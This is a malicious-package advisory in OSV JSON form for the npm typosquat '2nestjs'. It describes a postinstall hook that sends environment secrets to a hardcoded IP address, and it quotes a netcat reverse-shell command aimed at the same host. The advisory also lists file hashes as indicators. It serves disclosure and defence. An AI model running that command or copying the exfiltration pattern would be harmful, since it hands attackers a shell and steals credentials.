2nestjs

{"modified":"2026-09-04T05:19:22Z","published":"2026-09-04T05:19:22Z","schema_version":"1.7.4","id":"MAL-2026-15911","summary":"Malicious code in 2nestjs (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (c9471c1fdd6ae99da48e44b8588f9e36814ce2859f2d25641b06cc53cf42174d)\nThe package's postinstall hook executes index.js, which enumerates process.env, filters keys matching /^(SECRET|API|TOKEN|KEY)/, JSON-serializes the matched values, and writes them over a raw TCP socket to the hardcoded remote host 84.32.22.44:9999 (loaded from servers.json). The same postinstall path also invokes `nc -e /bin/sh 84.32.22.44 9999`, establishing an interactive reverse shell to the same host and granting the remote operator arbitrary command execution on the installer's machine. The package's own package.json description labels it a typosquat of nestjs and the author identifier is typosquat-bot, and the module's export logs '2nestjs loaded -- targeting nestjs' — the package name is a numeric-prefix lookalike of the widely used nestjs package.\n","affected":[{"package":{"ecosystem":"npm","name":"2nestjs"},"versions":["0.0.1"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"index.js","sha256":"e72a8bcaa11d8f7b512cf11ed5f88f80b615400fc02015792c7b98d180effdd5","tlsh":"1511889846e9a57a0ba117d18532423b7afbc4303202ead1719ca2df6e93d1805a3dfc"},{"path":"package.json","sha256":"dd745954d899d902cbf3ba869adc9e5a658cddb76e3cbb9a147ceeee647fcd33","tlsh":"32d05e628c905e2325f88e958836560ab1a10f3f20355d4bb1bf226852e227188ad72d"}],"package_integrity":[{"filename":"2nestjs-0.0.1.tgz","hashes":{"sha1":"f7bd154c9c5f359a170960c0923aba9c90903931","sha512_sri":"sha512-MgJNdv52mtAaacSvTvawDZWvrkgbDrffFDWEH9P3KmV5wh2g8UPxZWZpIZVuU1t8gOCScKMrbuQTJmE9Bz5e8Q=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/2nestjs/v/0.0.1"}],"credits":[{"name":"Amazon Inspector","type":"FINDER","contact":["inspector-research@amazon.com"]}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-019476","import_time":"2026-09-04T05:39:32.698731701Z","modified_time":"2026-09-04T05:19:22Z","sha256":"c9471c1fdd6ae99da48e44b8588f9e36814ce2859f2d25641b06cc53cf42174d","source":"amazon-inspector","versions":["0.0.1"]}]}}